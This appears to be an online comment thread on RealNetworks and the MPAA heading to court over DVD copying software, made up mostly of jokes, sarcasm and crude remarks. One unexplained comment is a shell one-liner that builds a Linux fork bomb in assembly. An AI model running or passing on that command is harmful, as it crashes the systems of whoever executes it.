RealNetworks, Film Industry Headed To Court
netbuzz writes "Apparently tired of waiting to be sued by the movie studios over its new DVD-to-PC copying software, RealNetworks this morning announced it will file a preemptive lawsuit in an attempt to authoritatively establish that the product does not infringe on copyright restrictions. Within an hour or so, the Motion Picture Association of America said it would have a litigation announcement of its own this afternoon."
RealNetworks is saying "Hey look at me everyone! Why doesn't anyone ever notice me?"
Because well, it just is. At least for me.
I think you underestimate just how much I just dont care.
vs the MPAA.
Nope, I give up. I can't decide which I want to lose.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Ah! Lawyers...
Always trying to make trouble when there is none yet...
If we're really lucky, they both will spend exorbitant amounts of money litigating, and then the judge will award $1 to the plaintiff.
I am officially gone from
Judge: This court finds in favor of the MPAA.
Real: But... we sued them!
Judge: Look, I understand you're a startup company...
Real: We've been around forever!
Judge: ---Really? Never heard of you. $10 million or 40,000 innocent souls to the MPAA, to be paid by Friday.
Those who believe the Internet is private,
find their privates are on the Internet.
I took at look at RealNetworks' filing, but it didn't elicit much useful information:
Plantiffs RealNetworks, Inc. (herein known as PlantiBUFFERING... 4%
Karma: Excellent Birds (mostly as a result of listening to Laurie Anderson)
Whoa whoa whoa now. I think the lack of naked celeb-titties in other DVD copying software is pretty big missing feature. Don't act so smug when they clearly have the superior product. Seriously, what are you worried about with the spyware in this case? If it shows naked celeb-titties while ripping DVDs are you actually going to use that computer for anything other than ripping mass quantities of DVDs?
The only change I can believe in is what I find in my couch cushions.
one day I hope to finish reading the manpage for it
I bet you didn't know that, ahem ..
"The worldwide motion picture industry, including foreign and domestic producers,
distributors, theaters, video stores and pay-per-view operators lose more than $18 billion
annually as a result of movie theft. More than $7 billion in losses are attributed to illegal
Internet distributions, while $11 billion is the result of illegal copying and bootlegging."
http://www.mpaa.org/press_releases/realdvd%20press%20release%209%2030%2008%20final.pdf
My turnips listen for the soft cry of your love
The naked celeb-titties in question belong to Marlon Brando.
dd if=/dev/dvd of=/home/acoward/mydvd.iso
I'm just sayin'